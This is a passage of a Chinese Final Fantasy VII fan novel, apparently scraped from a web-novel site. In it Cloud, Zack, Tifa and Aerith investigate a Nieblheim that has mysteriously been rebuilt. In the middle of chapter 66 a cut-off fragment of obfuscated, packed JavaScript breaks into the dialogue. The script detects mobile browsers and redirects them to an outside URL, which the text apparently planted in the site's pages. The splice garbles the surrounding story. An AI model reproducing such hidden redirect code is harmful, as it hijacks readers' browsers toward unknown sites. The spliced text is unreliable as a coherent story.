“你……” 克劳德看了我一眼后,移开视线,直视着萨菲罗斯,他声音像是从牙缝里挤出来的。 “杀他,是我的事。” “啧,口气倒是不小。” 我撇撇嘴,手指指向萨菲罗斯。 “那你倒是快点啊。赶紧把他干掉,把魔尊的位置给我腾出来。我等着当老大很久了。” “……” 大殿内陷入了一片死寂。 所有人都被我这石破天惊的发言震得说不出话来。 正道那边的人一脸惊愕地看着我,又看看面无表情的萨菲罗斯,大概在怀疑我是不是疯了,敢当着魔尊的面说这种大逆不道的话。 魔道这边几个跟着来的魔将也是眼观鼻鼻观心,假装什么都没听见。 萨菲罗斯没有说话,但是他死死攥着我的左手。 啧,真的有些痛了。 “够了!”对面的克劳德猛地站起身,符文剑应声出鞘,直指萨菲罗斯,“萨菲罗斯!今日此地,就是你的死期!” “克劳德!冷静!” 扎克斯也连忙起身,挡在克劳德面前,一脸焦急。 “别冲动!现在不是动手的时候!想想两界的和平!” “和平?我和他之间,只有死战!没有和平!” 眼看新一轮的大战又要爆发,我反而乐了。 “打!打起来!正好让我看看,这三年你们俩长进了多少!” 正道和魔道的战力损失对我好处可太大了,等他们两个都虚了,我直接把他们关起来—— 这三界不是我的了吗? 萨菲罗斯周身的魔气渐渐平息,他深深地看了我一眼,那眼神复杂难辨,最终又恢复了冰冷。 他松开了攥着我的手,缓缓站起身。 “想打?可以。”他的目光扫过克劳德和扎克斯,“正魔会议到此结束。战场上见。” 说完,他不再看任何人,转身便向大殿外走去。几个魔将连忙跟上。 我耸耸肩,也站起身,准备回魔界。 萨菲罗斯回去估计又要跟我说一大堆奇怪的话了。 “师姐!”扎克斯急忙叫住我,眼神中充满了担忧和恳求,“你…你真的要跟他…” 我刚回过头,还没开口说话,我的左腕忽然被捏住。 “……” 一股灼热而坚定的力道。 我有些意外地挑起眉,侧过头,看向那个胆敢抓住我手腕的家伙。 克劳德。 他那张总是没什么表情的脸上,此刻却写满了某种近乎固执的情绪。金色的睫毛微微颤抖着,似乎在压抑着什么。 那双青蓝色的眸子紧紧地盯着我,里面翻涌着复杂难辨的光芒—— 有愤怒,有焦急,还有一丝…连他自己都未曾察觉的祈求? 他的手指冰凉,却攥得很紧,指骨因为用力而泛白,像是生怕我下一秒就会消失不见,或者…跟着萨菲罗斯离开。 “克劳德,你——快放开师姐!你抓着她干嘛?现在是……” 然而,克劳德就像没听见扎克斯的话一样,只是固执地抓着我的手腕,目光一瞬不瞬地盯着我,嘴唇紧抿,一言不发。 而在我身侧,那股几乎能将空气冻结的森然寒意猛地爆发开来。 萨菲罗斯停下了脚步。 他缓缓转过身,银色的长发在转身的瞬间划过一道冰冷的弧线。 那双瑰丽的翠绿竖瞳,此刻已经完全被浓稠如墨的杀意所覆盖,如同两潭深不见底的寒渊,死死地锁定在克劳德那只抓着我手腕的手上。 周围的魔气瞬间变得狂暴起来,在大殿内肆虐翻滚,发出呜咽般的低吼。 寒玉桌椅上迅速凝结起一层厚厚的冰霜,就连空气似乎都变得粘稠而滞涩,让人呼吸困难。 他没有说话,甚至连表情都没有太大的变化,但那种无声的、极致的压迫感,却让在场的所有修士—— 无论正魔——都感到一阵从灵魂深处升起的战栗。几个修为稍弱的魔将甚至控制不住地后退了半步,脸色煞白。 “放开。” 冰冷的、不带一丝情感的两个字从萨菲罗斯口中吐出,声音不高。 克劳德的身体明显僵硬了一下,但他依旧没有松手,反而攥得更紧了。 他的目光从我脸上移开,抬起头,直视着萨菲罗斯那双充满杀意的眼睛。 “她不能跟你走。”克劳德的声音沙哑,却异常坚定,“萨菲罗斯,你会毁了她的。” 我还不知道我被萨菲罗斯毁掉了,其实某种程度上是我把他毁了。 他昨天还在尝试做菜呢。 “你?”萨菲罗斯嘴角勾起浅浅的弧度,却没有笑意,仿佛听到了什么天大的笑话,“凭你?” 下一瞬,没有任何预兆。 一道凝练到极致的黑色魔气如同毒蛇般激射而出,悄无声息,却快如闪电,直取克劳德抓着我手腕的那只手。 速度快到连扎克斯都没有反应过来。 眼看那道足以洞穿金石的魔气就要击中克劳德的手臂—— “锵!” 一声更加清越的剑鸣响起。 克劳德反应极快,几乎是在魔气离体的瞬间便已察觉,另一只空着的手闪电般抽出背后的重剑,宽厚的剑身横档在手臂之前。 嗤——! 黑色的魔气与闪耀着青蓝色光芒的剑身碰撞,发出令人牙酸的摩擦声。 火花四溅! 克劳德闷哼一声,被那强大的冲击力震得连连后退了好几步,才勉强稳住身形。 抓着我手腕的那只手也不得不松开。 然后他们又打起来了。 [7] 所以这个故事什么时候才能结束? 我也想当魔尊玩玩啊! 如果轮到我一统三界,什么萨菲罗斯和克劳德完全掀不起风浪吧? 完。 72.第66章 在远方,能够看见尼布尔海姆的轮廓。 那个在克劳德记忆里化为灰烬的故乡,此刻的建筑清晰可见,正午时分,似乎正是饭点,家家户户的烟囱里冒起了白烟。 蒂法瞪大眼睛。 “……这……” 越野车内,在后座的克劳德似乎还处于一个放空的状态,正在开车的扎克斯状似不经意的瞥了一眼后视镜,咳了咳,对副驾驶位的爱丽丝开口。 “尼布尔海姆啊,这里是克劳德和蒂法的故乡。” “哎?” 棕发的少女探出头,往村子内张望,眉头微皱后,似乎是想到了什么,又舒展。 车里只有他们四人。 巴雷|特和他们的行动路线不同,在星陨峡谷的讨论过后,对于“阻止萨菲罗斯和她”分出了两个计划。 一边是以爱丽丝为主导的,前往遗忘森林发动白魔法“神圣”的方案,这样无论追踪结果如何,都可以阻止陨石的降临。 另一边是克劳德坚持的,无论如何也要追逐他和她脚步的计划—— 他必须要和他们做个了断。 队伍将在遗忘森林分道扬镳。 不过,现在旅程也只才过去了一半。 “克劳德。” 黑发女人的温声将金发男人从思绪中唤醒,他转过头,与那对此刻盛着些许不安的红色眸子对视。 “蒂法……” “这里,不是已经被烧掉了吗?” 在他们二人记忆里,在克劳德的口中,已经不复存在的故乡。 车停在村口,克劳德背着符文剑,第一个下了车。 浅青色的眸子扫过记忆里故乡的每个角落。 水塔,杂货店,旅馆…… 一切仿佛都没有改变。 “……应该是的。” 蒂法的步伐有些缓慢。 “那是为什么?我的家也还在……” 熊熊燃烧的火焰,倒塌的房屋,绝望的呼喊—— 此刻,却被一片祥和的景象所取代。木质的房屋结构完好,屋顶的瓦片整齐,甚至连家前的招牌都一模一样,只是崭新了许多,仿佛被精心擦拭过。 “有什么不对吗?” 棕发少女跟扎克斯一起停好了车,探过头,翠色的眸子眨了眨。 扎克斯熄了火,和爱丽丝一同走下车。 他习惯性地伸了个懒腰,活动了一下有些僵硬的肩膀,然后几步走到克劳德和蒂法身边。 “嘿,我说你们两个,怎么了?看到故乡太激动,都说不出话了?” 他伸出手,在克劳德的肩膀上拍了拍。 克劳德依旧沉默着,他的视线从熟悉的街道移向远处的尼布尔山,那山峰的轮廓,与记忆中的一般无二。 “我们不可能记错……这里后来又重建了?” 但他自己也知道,这种可能性微乎其微。 尼布尔海姆地处偏僻,神罗公司在事后封锁了这里,不大可能浪费人力物力在短时间内将整个村庄恢复原貌,甚至连细节都一模一样。 “重建?”扎克斯摸了摸下巴,作沉思状,“也不是没有可能啊!说不定是神罗公司要在这里做什么生化实验,所以特意把村子修好了呢?” 见其他人都望着他,黑发男人咳了咳。 “哈哈,开个玩笑。” 旅店。 老板不是熟悉的面孔。 没等扎克斯说些什么,第一个开口的是平时不怎么说话的克劳德。 “这个村子在5年前就已经全部烧毁了。到底是怎么回事?” 老板流露出了茫然的神情,他转过头瞥了眼墙上挂着的日历。 “先生,别说这么可怕的事情!” “我是从小在这里长大的,从来没出过这种事!” 蒂法皱着眉,她的声音罕见的有些放大。 “你在撒谎!” 遭到质疑,老板敲了敲桌子。 “真没礼貌!再乱讲话的话就请你出去!” “……” 克劳德皱着眉,他的手慢慢的握住身后的剑柄—— “哈哈,不好意思啊老板,我们先预约一个晚上!” 扎克斯笑着走了过去,他拍了拍克劳德的肩膀,随后从口袋里掏出一把Gil,老板的神色才有所缓和。 “……真是一群怪人。” 双人间内,克劳德和扎克斯正收拾着装备,黑发男人处理好破坏剑后,稍稍凑近。 金发的青年正坐在床头,机械的擦拭着符文剑的剑刃,浅青色的眸子看似凝聚在剑口上,但实际上涣散。 一下。 又一下。 不知为何,他的力道不自觉地慢慢加大,动作也越来越偏移。 “呃……” “……” “克劳德。” “……” “克劳德!” 撕拉。 布帛触及刃口,直接碎成了两块。 金发青年仿佛才回过神,抬起头,与扎克斯那抹青色的眸子相对。 “……怎么了?” “克劳德,你没事吧?” “……” 他有些僵硬的将剑放在床头,黑发男人顺势坐在他身旁。 克劳德的视线缓缓从撕裂的布条上移开,又落回到扎克斯的脸上,那眼神依旧有些涣散,过了好几秒,才像是聚焦了一般。 “我?” 他低声重复了一句,声音沙哑得厉害。 “我没什么。” “没什么?” 扎克斯挑了挑眉,伸出手,轻轻拿过克劳德放在床头的那柄符文剑,入手冰凉沉重。他细致地检查了一下剑刃。 还好,刚才克劳德虽然失神,但并没有真的损伤到剑体。 “我说克劳德啊,你刚才那样子,可不像是‘没什么’。简直就像要把这块布给活吞了似的。” 他试图用轻松的语气缓和一下气氛,但效果似乎并不理想。 克劳德抿了抿干涩的嘴唇,将头转向一边,避开了扎克斯的目光。 “我只是在想一些事情。” “想事情?” 扎克斯将符文剑小心地靠在墙边,然后挪了挪位置,更靠近克劳德一些。 “是关于这个村子吗?” “嗯。” 克劳德从喉咙里挤出一个单音节的回应,依旧没有看扎克斯。 扎克斯见状,心里叹了口气。 他挠了挠自己那头标志性的黑色刺猬头,换了个话题: “克劳德,你刚刚怎么直接握剑了?我真以为你要动手了呢。” “……她说过。” “啊?” “可疑的话,直接拔剑。对方不想说也会说的。” “……” “……哈哈,前辈的惊世智慧你已经融会贯通了啊,克劳德。” 当提到她的时候,氛围变得古怪起来。 扎克斯叹了口气后,靠在墙边,黑色的刘海耷拉在额前,男人一言不发,青色的眸子有些出神。 克劳德握紧了剑柄,又松开。 房间一时之间陷入了安静。 旅店的走廊。 扎克斯先和爱丽丝前往杂货铺处理多余的魔晶石了,克劳德将符文剑装配在背后。 打开门—— 拐角处,一个黑袍的身影蜷缩在角落。 金发青年稍稍迟疑后,走了过去。 苍白的肌肤,银色的发丝,掩藏在宽大兜帽下的脸,克劳德瞥见了对方手臂上的数字纹身。 【6】 沙哑的嗓音。 “呃……啊……呃……一定要参加reunion……” “团聚……” 对方呢喃着什么。 克劳德的眉头皱得更紧了。 “你是谁?” 那黑袍人似乎没有听到他的问话,依旧沉浸在自己的呓语中,身体微微颤抖着,像是承受着巨大的痛苦,又像是在压抑着某种即将爆发的情绪。 “萨菲罗斯大人…他会指引我们…Reunion…是最终的约定……” 对方看起来不是可以沟通的样子。 克劳德又问了几句话,也得不到任何回应,他只能往旅馆的大厅内走。 黑发的女人坐在椅子上,等待着他,在见到克劳德的一瞬,蒂法那抹暗自的不安神色便敛去了,换做往日的温和沉着,只是眉头依然微皱。 “克劳德,我们去找扎克斯他们吧?“ ”嗯。“ 就在此时,旅馆的工作人员端着茶水和付费饭菜走了出来,瞥见他们后,眼睛一亮,以为是路过的旅客。 “咳咳,这个村子很漂亮吧?你们这么晚过来,应该饿了吧?” 那名端着餐盘的工作人员脸上热情的笑容,在瞥见完全无视他的克劳德时,僵硬了一瞬。 “……客人?” “咳咳,客人?” 克劳德仿佛终于回过神,回复对方,声音没有任何起伏。 “我们不需要。” 气氛顿时有些凝固。 蒂法连忙上前一步,脸上带着歉意但坚定的微笑,对工作人员说:“不好意思,我们还有些事情要办,暂时不用餐了,谢谢你的好意。” 她的语气温和而礼貌,既拒绝了对方,也化解了克劳德带来的尴尬。 但旅店的工作人员依然不死心,套近乎似的继续说。 "我们在这里做买卖已经很久了……" 一直沉浸在自己思绪里的青年倏地抬起头。 “撒谎。” 那名工作人员愣了愣,脸上勉强笑容消失了,取而代之的是一种被冒犯后的恼怒,还有一丝……困惑。 他将手里的餐盘重重地放在旁边的桌子上,发出“哐当”一声脆响。 “你这人怎么回事?我好心好意跟你们搭话,你这是什么态度?”他瞪着克劳德,声音也拔高了好几度,“我在这里生活了几十年,难道还没有你一个外地人清楚吗?” 克劳德没有理会他的叫嚷,浅青色的眼眸死死地盯着对方,似乎想从那张愤怒的脸上看出什么破绽。 “我直到14岁都一直住在这里,可从来没有见过你。” 对方皱了皱眉,上下打量了下克劳德。 “撒谎可不好,我也没见过你们。” “我告诉你,小子,别在这里找茬。尼布尔海姆不欢迎你们这种满口胡话的怪人。” 这番话像一根针,精准地刺入了克劳德那早已紧绷的神经。 “我不是怪人。” 他的声音很低,却带着一种冰冷的、不容置疑的决绝。 “撒谎的是你。” “哈?你说我撒谎?” 工作人员像是听到了天大的笑话,笑了起来,引得大厅里另外几个正在擦拭桌椅的村民也纷纷侧目。 “克劳德!” 蒂法立刻拉住了克劳德的手臂,她能感觉到他肌肉的紧绷。她转向那名工作人员,再次露出歉意的神情。 “真是不好意思,我的同伴他……他只是有些累了,脑子不太清楚,您别往心里去。” “脑子不清楚?” 那工作人员哼了一声,上下打量着克劳德,眼神里的戒备和排斥愈发明显。 “我看是脑子有病才对!你们这些奇怪的家伙,赶紧走!别在我们村子里惹是生非!” ……这里明明是我的故乡。 明明是,明明是一切开始的—— “哎呀呀,怎么这么热闹啊?” 扎克斯的声音适时地响了起来,他一手提着一个装满了魔晶石的布袋,另一只手还拿着一串刚买的烤陆行鸟肉,脸上挂着招牌式的阳光笑容。 爱丽丝跟在他身后,翠绿的眼眸扫过大厅内僵持的几人,最后落在克劳德紧绷的背影上,眼神中流露出一丝了然。 “老板,这是怎么了?我的朋友们是不是给你添什么麻烦了?” 扎克斯大步流星地走到柜台前,将那袋魔晶石随手放在上面,然后把烤肉递到工作人员面前。 “尝尝这个?刚出炉的,味道很不错哦!” 工作人员看着扎克斯那张毫无防备的笑脸,还有递到眼前的香喷喷的烤肉,原本紧绷的神经稍稍松懈了一些,但警惕心依旧没有放下。 “没什么,只是和你们的朋友有一些……小小的误会。” 他含糊地说道。 扎克斯哈哈一笑,顺手将烤肉塞进对方手里,然后转身走到克劳德身边,用力地揽住他的肩膀,将他往门外带。 “好啦好啦,克劳德,我知道你想家了,但也不用这么激动嘛。走,我们出去转转,说不定能想起来什么开心的事情呢?” 他一边说着,一边对蒂法使了个眼色。 蒂法会意,对那名依旧有些不爽的工作人员歉意地点了点头,也跟着走了出去。 被强行拉出旅馆,克劳德还有些不甘心,他回头看了一眼,那名工作人员正低头看着手里的烤肉,表情带着点疑惑。 “扎克斯,你放开我,”克劳德的声音有些闷闷的,“我还有话要问他。” “问什么问啊。” 扎克斯不由分说地将他拉到街上,正午的阳光有些刺眼。 “你再问下去,今天晚上我们就要睡马路了!而且,”他压低了声音,“你觉得,用那种方式,真的能问出什么来吗?” 克劳德沉默了。 他知道扎克斯说得对。 刚才的他,确实有些失控了。 “那我们现在怎么办?”蒂法跟了上来,她的声音里充满了迷茫,“这里的一切都太奇怪了。就像……一个精美的复制品。” “复制品吗?这个形容倒也贴切。”爱丽丝走到蒂法身边,轻轻握住她的手,“不过,既然是复制品,就一定会有破绽。我们分头找找看吧,或许能发现些什么线索。” 扎克斯点了点头,表示同意: “好主意!这样效率也高一些。” “我和爱丽丝去村子东边看看,顺便找找有没有什么奇怪的能量波动。克劳德,蒂法,你们就负责西边,怎么样?” 他拍了拍克劳德的背。 “特别是你们的家,都仔细看看。” 克劳德没有反对,他只是抬起头,看了一眼不远处那座熟悉的、矗立在村子中央的水塔,眼神晦暗不明。 “……我知道了。” 蒂法的家。 打开门,只有一个正在忙活的陌生老妇人,正架起灶火做饭。 那老妇人听到开门声,只是浑浊的眼睛抬了一下,便又继续低头,用一把铁钳拨弄着灶膛里燃烧的木柴,火光映照着她布满皱纹的脸庞。 “请问……”蒂法的声音有些干涩,她向前走了两步,目光扫过这既熟悉又陌生的房间布局,“您是……?” 老妇人头也不抬,用一种不耐烦的语气回答:“我是这家的主人,你们有什么事?” 蒂法的心沉了下去。 克劳德没有说话,他的视线越过蒂法的肩膀,落在房间的角落。 那里摆放着一架蒙着厚厚灰尘的旧钢琴,琴键已经泛黄,琴身上还刻着一个陌生的家族徽记。 “那……您认识一个叫布莱恩·洛克哈特的人吗?他是我父亲。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696704|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒂法紧紧攥着拳,指甲几乎要嵌进掌心,她做着最后的挣扎。 老妇人冷哼一声,将铁钳重重地扔在地上,发出刺耳的声响。 “不认识!我说了,你们找错地方了!赶紧走,别打扰我做饭!” 她站起身,佝偻着背,开始往外推搡他们,嘴里还不停地念叨着。 “现在的年轻人,真是一点礼貌都没有。” 被推出门外,木门在他们面前“砰”的一声被关上。 蒂法靠在冰冷的门板上,身体微微颤抖。 “怎么会……怎么会这样?连爸爸都不认识了……这里到底是怎么回事?” 她喃喃自语,像是在问克劳德,又像是在问自己。 克劳德伸出手,想要拍拍她的肩膀,但手在半空中顿了顿,最终还是无力地垂下。 他不知道该如何安慰。 如果是扎克斯的话,这种时候能说出很有力量的话吧? 如果是她的话,感觉什么都不会让她迷茫,一切都会被简单的解决—— 在她身旁,仿佛什么情况,都能让人有笑出来的力量。 但克劳德只是自己。 只是他自己。 他只是轻声的,干巴巴的说: “我们先走。” 两人沉默地穿过街道,村民们投来的目光依旧带着审视和疑惑,仿佛他们是闯入这个宁静世界的异类。 克劳德的家在村子的另一头,一座二层的小木屋,此刻同样完好无损地立在那里,屋顶的烟囱正冒着和缓的白烟。 就在他们即将走到家门口时,一个蜷缩在旅馆角落的黑袍人,出现在他们的视野里。 他正用一种摇摇晃晃、如同梦游般的姿态,沿着小路,朝着村子尽头那座阴森的神罗公馆蹒跚而去。 “Reunion……在等待……” 微弱的、带着狂热的呓语,顺着风飘进克劳德的耳朵里。 他的脚步停住了。 “克劳德?怎么了?” “不……没什么。” 来到了那个熟悉的木门前,金发男人停住了脚步。 他没有敲门。 那扇熟悉的木门,门上的纹理,甚至角落里一道不起眼的划痕——那还是他小时候不小心用玩具剑弄出来的,都清晰可见。 门后,曾经有母亲温暖的唠叨,有饭菜朴素的香气。 现在呢? 蒂法安静地站在他身后半步的距离,没有催促,也没有出声。 不知过了多久,克劳德终于动了。 却是后退一步。 “……我们回旅馆吧,蒂法。” 蒂法看着克劳德转过身的背影,那双红色的眼眸中闪过一丝复杂的情绪。 “克劳德。” 她轻声呼唤,但金发的青年没有回头,只是脚步顿了顿,然后继续向前走。 蒂法抿了抿唇,将涌上心头的疑问和失落都压了下去。 她知道,克劳德现在很混乱,她不能再给他增加更多的压力了。 女人快步跟上,与他并肩走在空旷的街道上。 两人之间的沉默如同实质,压得人喘不过气。 回到旅馆,扎克斯和爱丽丝还没回来。大厅里的工作人员看到他们,只是冷冷地瞥了一眼,便自顾自地忙着手里的活计,不再搭话。 两人各自回了房间。 蒂法坐在床边,双手交握放在膝上,目光落在窗外那片熟悉的山景,却怎么也无法静下心来。 夜晚很快降临。 扎克斯和爱丽丝的调查同样一无所获。 村子就像一个完美的舞台布景,找不出任何破绽。一行人草草地吃了些干粮,便各自回房休息,约定明日一早再做打算。 深夜,万籁俱寂。 辗转反侧的蒂法最终还是从床铺上爬了起来。 现在的她,已经什么都没有剩下了。 选择跟随克劳德,是因为自己好不容易得到的容身之所再次被摧毁,抱着对家乡的信念,踏上旅程—— 为什么会这样呢? 记忆里的家,也不存在了。 推开房间的门,蒂法来到了旅店的走廊,有些昏黄的灯一闪一闪的。 木质地板在脚下发出轻微的“吱呀”声,在这死寂的夜晚里显得格外清晰。 她不知道自己要去哪里,只是漫无目的地走着,冰凉的空气让她裸露的手臂起了一层细小的疙瘩。 走廊的尽头,是克劳德的房间。 在下楼的时候,怕打扰到他,蒂法特意放缓了步子—— 咔擦。 门被打开了。 黑发女人回头,与面色有些苍白的克劳德对上了视线,汗水将几根倔强的金发打湿,黏在额头。 “……” 一时的安静。 先开口的是蒂法。 “克劳德,没有睡好吗?” “没什么,只是想出来走走。” 浅青色的眸子与绯红的瞳孔相对,蒂法立马就意识到了什么。 自从离开米德加,克劳德好像就没有一天安稳的休息过。 两人一前一后地走下吱呀作响的楼梯。 旅馆大厅空无一人,只有柜台上一盏孤零零的油灯,豆大的火苗在微风中摇曳,将他们的影子在墙壁上拉得又细又长。 推开沉重的木门,夜风带着山间的凉意扑面而来。 白天的喧嚣荡然无存,此刻的尼布尔海姆寂静得可怕,只有远处巨大蘑菇散发的绿色荧光,给这片死寂的村庄镀上了一层诡异的色彩。 他们并肩走在空无一人的街道上,脚步声在寂静中回荡。 “克劳德。” 克劳德的脚步顿了顿,嗯了一声,算作回应。 “最近一直没有好好休息吧?” “只是有做梦……” “梦到了什么呢?” 克劳德停下脚步,他侧过身,但没有直视蒂法的眼睛,目光落在不远处地面上一块被月光照亮的鹅卵石上。 “没什么,很乱。” 像是在自言自语的声音。 “一些……很奇怪的东西。吃的,游戏,漫画……" "还有,萨菲罗斯和她。” 提到了仇人的名字,蒂法也停下了脚步,她的视线在克劳德的脸上巡回了一瞬,随后,强压下内心的忧虑。 问点什么别的…… “她是……什么样的人呢?看起来,克劳德之前跟她是朋友吧?对了,扎克斯叫她前辈呢。” 夜风吹过,卷起地上的几片枯叶,发出沙沙的声响。 “她,她很强。” 这是一个简单到近乎敷衍的回答,但他似乎找不到更合适的开场白。 “强大,随心所欲……从来不在乎别人的看法。想做什么就做什么,像一阵抓不住的风。” “很喜欢……一些奇怪的东西。” 克劳德的声音低了下去。 “零食,不好看的小说,无聊的游戏,还有……陆行鸟玩偶。” 他说到最后几个字时,声音几乎微不可闻。 “但在她身边的话,从不会感到迷茫。” “仿佛只要有她在的话——” 戛然而止。 克劳德的话说到一半,突然像被什么扼住了喉咙,再也吐不出一个字。夜风吹动他金色的发丝,遮住了他此刻晦暗不明的眼神。 蒂法张了张嘴。 纷杂的情绪难以表达。 “……听起来,是个很特别的人呢。” 两人都没有再说话了,只是安静的看着尼布尔海姆的月色。 皎洁,空茫。 73.第67章 第二天。 克劳德和扎克斯一齐探索尼布尔海姆,而蒂法与爱丽丝同行。 推开门的扎克斯第一眼就望见了在他门前靠墙等待的金发青年,因为长时间的睡眠缺乏,少年人的白皙眼下泛着浅浅的青黑。 “哟,克劳德,这么早就起来了?不等我一起吗?” 克劳德闻声,缓缓抬起头,那双浅青色的魔晄眼像是蒙上了一层薄雾,在看清是扎克斯后,那层雾气才稍稍散去一些。 “……我睡不着。” 他的声音有些干涩,像是许久没有说过话。 “等你,会快一点。” “哈哈,那还真是我的荣幸!”扎克斯伸手揽过克劳德的肩膀,不由分说地带着他往楼下走去,“走吧,我的好兄弟!今天我们两个男子汉组合,一定要把这个奇怪的村子翻个底朝天!说不定能找到什么隐藏的宝藏呢!” 克劳德被他推着向前,没有反抗,只是低声说了一句:“这里不会有宝藏。” “那可不一定!”扎克斯的声音充满了自信,“就算没有金银财宝,找到真相,不也是一种宝藏吗?” 两人走在清晨的尼布尔海姆街道上,薄雾还未完全散去,空气中带着泥土和青草的芬芳。 村庄依旧是那副完美无瑕的样子,村民们按部就班地开始了一天的生活,见到他们,也只是投来与昨日一般无二的、带着戒备的眼神。 “你看,他们好像都不怎么欢迎我们。”扎克斯压低声音,用胳膊肘碰了碰克劳德,“你说,我们是不是长得太帅了,让他们感到了压力?” 克劳德没有理会他的玩笑,他的目光越过扎克斯的肩膀,落在村子中央那座高高的水塔上。 水塔的结构有些陈旧,铁质的栏杆上爬满了青苔,在阳光下泛着湿润的光泽。 那里,曾是他和蒂法许下约定的地方。也是…… 他决定离开尼布尔海姆,去追寻自己梦想的起点。 “扎克斯。” 克劳德忽然开口,声音很轻。 “嗯?怎么了?”扎克斯停下脚步,顺着克劳德的视线望去,“哦,是那个水塔啊。看起来挺有年头的,有什么特别的故事吗?” “以前……我跟蒂法在这里约好了。”克劳德的视线有些放空,像是在透过眼前的水塔,看着另一个时空的画面,“如果她遇到困难,我一定会回来帮她。” 他说完,自嘲地扯了扯嘴角。 “结果,我什么都没做到。” 扎克斯脸上的笑容微不可察地收敛了一瞬,随即又恢复了原样。 “那不怪你,克劳德。谁也想不到会发生那样的事情。你能回来,本身就已经很了不起了。” 他看着克劳德,青色的眼眸里,是真诚的、不掺任何杂质的肯定。 “你已经做得很好了。” 金发青年的步伐一顿,他垂眸。 “……是吗?” 我……做到了什么呢? 家乡被毁,母亲消逝,眼睁睁看着蒂法被重伤,伙伴丢下他而去。 一直以来的追逐,也只是像垃圾一样被简单的踢开。 他做到了什么吗? 扎克斯脸上的笑容终于完全消失了。 他松开揽着克劳德肩膀的手,转而伸出双手,用力地、郑重地按住了克劳德的双肩,迫使低着头的金发青年不得不正视他。 “克劳德。” 扎克斯的声音不再是平日里那种轻松跳脱的语调,变得低沉而有力,每一个字都像是敲在实木上,掷地有声。 “你看着我。” 克劳德的睫毛颤动了一下,视线有些躲闪,但最终还是对上了那双青色的、如同魔晄般生机的双眸。 “你做到了什么?” “你从那场大火里活了下来,你甚至……在那个时候,面对那个家伙,你都没有退缩。克劳德,你站在这里,本身就是你做到的最好的证明!” 他的手掌加重了力道,仿佛要将自己的力量和信念,透过这坚实的触碰,传递到克劳德的身体里。 “过去的事情,谁都无法改变。但我们现在在这里,不是为了沉湎于过去的痛苦,对吧?” 扎克斯的语气缓和了一些,带上了一贯的、富有感染力的热情。 “我们是为了搞清楚这鬼地方到底是怎么回事!是为了找到萨菲罗斯和前辈!是为了……不让那样的事情再发生第二次!” 他松开手,转而用拳头轻轻捶了一下克劳德的胸口,咧开嘴,露出了一个标志性的灿烂笑容,两颗虎牙在阳光下闪闪发光。 “所以,别再问你做到了什么。你应该问,我们接下来要做什么!” 胸口被捶中的地方,传来一阵钝钝的、却又带着暖意的感觉。 他依旧没有说话,但那紧绷的唇线,却不自觉地放松了些许。 “怎么样?现在是不是感觉好多了?”扎克斯得意地扬了扬眉毛,伸手又想去揉克劳德那头倔强的金发,但被克劳德下意识地偏头躲开了。 “别碰我的头发。” 克劳德低声咕哝了一句。 “哈哈,好好好,不碰不碰。” 扎克斯毫不在意地收回手,双手叉腰,环顾四周。 “那么,万能工小队队长,我们现在该往哪里冒险呢?是去那个看起来阴森森、一准藏着秘密的神罗公馆,还是先去杂货店补充一下干粮,顺便套套老板的话?” 明明还没有抽签呢…… 克劳德的视线越过扎克斯,投向了村庄尽头那座在晨雾中若隐若现的哥特式建筑。昨日那个黑袍人蹒跚而去的背影,再次浮现在他脑海中。 “……去神罗公馆。” 他终于做出了决定。 “好嘞!目的地确认!”扎克斯打了个响指,像个领到了任务的特种兵一样,精神抖擞,“神罗公馆探险任务,现在开始!走吧,我的搭档!” 他率先迈开大步,朝着公馆的方向走去,走了几步,又回过头,对还站在原地的克劳德招了招手。 克劳德看着扎克斯在晨光中显得格外耀眼的背影,还有那只向他挥动的手,沉默了片刻。 他迈开脚步,跟了上去,两人一前一后,朝着那座不祥的建筑走去。 清晨的薄雾像一层轻纱,笼罩着这个看似宁静的村庄。他们走过空无一人的街道,两旁的房屋门窗紧闭,只有偶尔从屋里传出的、模糊不清的交谈声,在寂静的空气中显得有些突兀。 “说起来,克劳德,”扎克斯的声音打破了沉默,他没有回头,只是随意地问道,“你以前来过这个公馆吗?我记得神罗的公馆一般都不对外开放的吧?” “……没有。” 克劳德回答,他的目光紧紧锁定着那越来越近的建筑。 “村里的人都说,这里闹鬼。” “闹鬼?哈哈,这种传闻我听得多了!” 扎克斯笑了起来。 “越是这种地方,才越有可能藏着大秘密!说不定里面就有通往宝藏的密道呢!” 神罗公馆坐落在村庄的最高处,被一圈高大而锈迹斑斑的铁栅栏围着。 大门敞开着,像是巨兽张开的、等待猎物自投罗网的嘴。 哥特式的尖顶刺破晨雾,墙壁上布满了风雨侵蚀的痕迹和疯长的常春藤,几扇窗户的玻璃已经破碎,露出黑洞洞的内里。 这栋建筑的破败与衰颓,与村里其他“焕然一新”的房屋形成了鲜明而诡异的对比。 “看来,‘闹鬼’的传闻也不是空穴来风啊。”扎克斯站在大门前,仰头打量着这栋阴森的建筑,“这里的感觉……真让人不舒服。” 克劳德没有说话,他直接穿过敞开的大门,踏上了长满杂草的庭院石板路。扎克斯见状,也立刻跟了上去。 公馆沉重的木门虚掩着,上面覆盖着厚厚的灰尘。 克劳德伸出手,用力一推,伴随着一阵令人牙酸的“嘎吱”声,大门缓缓向内打开,一股混合着尘埃、霉菌和腐朽木头气味的空气扑面而来。 门后的景象,是一个被时光遗忘了的世界。 宽阔的大厅里,光线昏暗,阳光只能从高处那些破碎的彩色玻璃窗艰难地挤进来,在空气中投下几道斑驳陆离的光柱,无数细小的尘埃在光柱中飞舞。 地上铺着厚厚的尘土,天花板上垂挂着破败的蛛网,巨大的水晶吊灯早已失去了光彩,蒙尘的晶体像一串串浑浊的眼泪。 “哇哦,这里可真是……原生态。” 扎克斯踏进大厅,脚步声在空旷的空间里激起沉闷的回响。他用手在眼前挥了挥,试图扇开那些呛人的灰尘。 “看来已经很久没人来过了。” 克劳德的视线快速扫过整个大厅。 壁炉,挂毯,散落在各处的腐朽家具……一切都笼罩在一种死寂的氛围中。 他的目光最终停留在地面上,那里散落着一些旧书籍和纸张,被灰尘覆盖,几乎与地面融为一体。 “这些是什么?” 